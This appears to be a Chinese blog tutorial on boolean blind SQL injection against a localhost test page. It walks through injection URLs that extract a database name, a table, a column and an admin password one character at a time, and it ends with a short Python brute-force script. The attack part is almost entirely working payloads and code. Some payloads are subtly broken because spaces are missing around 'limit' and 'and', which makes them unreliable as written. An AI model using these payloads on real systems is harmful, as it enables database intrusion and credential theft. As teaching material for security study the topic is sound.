SQL注入--盲注入(bool型)

一个带GET参数的网站,但是网页中没有返回任何查询结果和报错信息,只返回对和错:




盲注入格式:

http://127.0.0.1/index.php?id=1' and ascii(substr(
(SQL语句),1,1
))=ASCII%23

注:

SQL语句 输入SQL注入语句;

ASCII 返回的字符的ASCII码;

1 第一个字母,从1开始算起;

ASCII码可以根据二分法猜测;

详情可以了解sql的substr()语法;


爆库名(sql)的第1个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit 4,1),1,1
))=115%23

注:

limit 4,1)1,1  表示查询第5个数据库名字的第1个字母;

115 为s的ASCII码;

另:

limit 0,1)1,1  表示查询第0个数据库名字的第1个字母;

limit 1,1)2,1  表示查询第2个数据库名字的第2个字母;

limit 1,1)4,1  表示查询第2个数据库名字的第4个字母;



爆库名(sql)的第2个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit 4,1),2,1
))=113%23

注:

limit 4,1)2,1  表示查询第5个数据库名字的第2个字母;

113 为q的ASCII码;



爆库名(sql)的第3个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select schema_name from information_schema.schemata limit 4,1),3,1
))=108%23

注:

limit 4,1)3,1  表示查询第5个数据库名字的第3个字母;

108 为l的ASCII码;



爆sql数据库的第1个表名(user)的第1个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select table_name from information_schema.tables where table_schema=0x73716climit0,1),1,1
))=117%23

注:

0x73716c 为sql的十六进制编码;

117 为u的ASCII码;

limit 用法参考上文



爆sql数据库user表的第3个字段(pwd)的第1个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select column_name from information_schema.columns where table_schema=0x73716cand table_name=0x75736572limit 2,1),1,1
))=112%23
注:

0x73716c 为sql的十六进制编码

0x75736572 为user的十六进制编码;

112  为p的ASCII码;

limit 用法参考上文



爆第3个字段pwd(123321)的内容的第一个字母:
http://127.0.0.1/index.php?id=1' and ascii(substr(
(select pwd from sql.userlimit0,1),1,1
))=49%23
注:

49  为1的ASCII码

limit 用法参考上文;



最终拿到admin的password!


盲注入可以使用python脚本更方便!

这里贴一小段简单的python盲注入脚本:

import requests
urltest="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),1,1))=114%23" #验证页面,通常为正确页面
URL=requests.get(urltest)
for j in range(1,10):
	for i in range(33,125):
		i=str(i)
		j=str(j)
		url="http://127.0.0.1/index.php?id=1' and ascii(substr((select user()),"+j+",1))="+i+"%23" #注入用于比对的URL
		#print url
		url=requests.get(url)
		if url.text==URL.text:
			print chr(int(i))


以上脚本代码通过修改url中的 select user() SQL语句即可方便盲注入!


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章